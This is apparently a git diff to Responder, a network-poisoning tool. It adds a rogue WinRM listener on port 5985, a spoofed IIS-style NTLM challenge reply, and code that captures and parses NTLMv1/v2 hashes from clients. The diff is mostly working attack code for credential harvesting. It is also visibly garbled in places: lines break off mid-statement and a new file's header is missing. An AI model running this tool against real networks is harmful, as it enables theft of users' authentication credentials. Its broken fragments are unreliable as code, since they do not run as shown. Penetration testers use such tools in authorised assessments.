diff --git a/Responder.conf b/Responder.conf
index 7204f3b..19f9b9d 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -14,6 +14,7 @@ HTTPS = On
DNS = On
LDAP = On
DCERPC = On
+WINRM = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
diff --git a/Responder.py b/Responder.py
index 4e9e1c4..2b62977 100755
--- a/Responder.py
+++ b/Responder.py
@@ -262,6 +262,10 @@ def main():
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
+ if settings.Config.WinRM_On_Off:
+ from servers.WinRM import WinRM
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
+
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
diff --git a/packets.py b/packets.py
index 903310c..77036bd 100644
--- a/packets.py
+++ b/packets.py
@@ -317,6 +317,21 @@ class IIS_NTLM_Challenge_Ans(Packet):
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
+class WinRM_NTLM_Challenge_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 401 \r\n"),
+ ("WWWAuth", "WWW-Authenticate: Negotiate "),
+ ("Payload", ""),
+ ("Payload-CRLF", "\r\n"),
+ ("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
+ ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
+
+ def calculate(self,payload):
+ self.fields["Payload"] = b64encode(payload)
+
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
@@ -2128,4 +2143,3 @@ class RPCNTLMNego(Packet):
self.fields["FragLen"] = StructWithLenPython2or3(".
+import struct
+import codecs
+from utils import *
+if settings.Config.PY2OR3 == "PY3":
+ from socketserver import BaseRequestHandler, StreamRequestHandler
+else:
+ from SocketServer import BaseRequestHandler, StreamRequestHandler
+from base64 import b64decode, b64encode
+from packets import NTLM_Challenge
+from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
+from packets import WPADScript, ServeExeFile, ServeHtmlFile
+
+
+# Parse NTLMv1/v2 hash.
+def ParseHTTPHash(data, Challenge, client, module):
+ LMhashLen = struct.unpack(' 24:
+ NthashLen = 64
+ DomainLen = struct.unpack('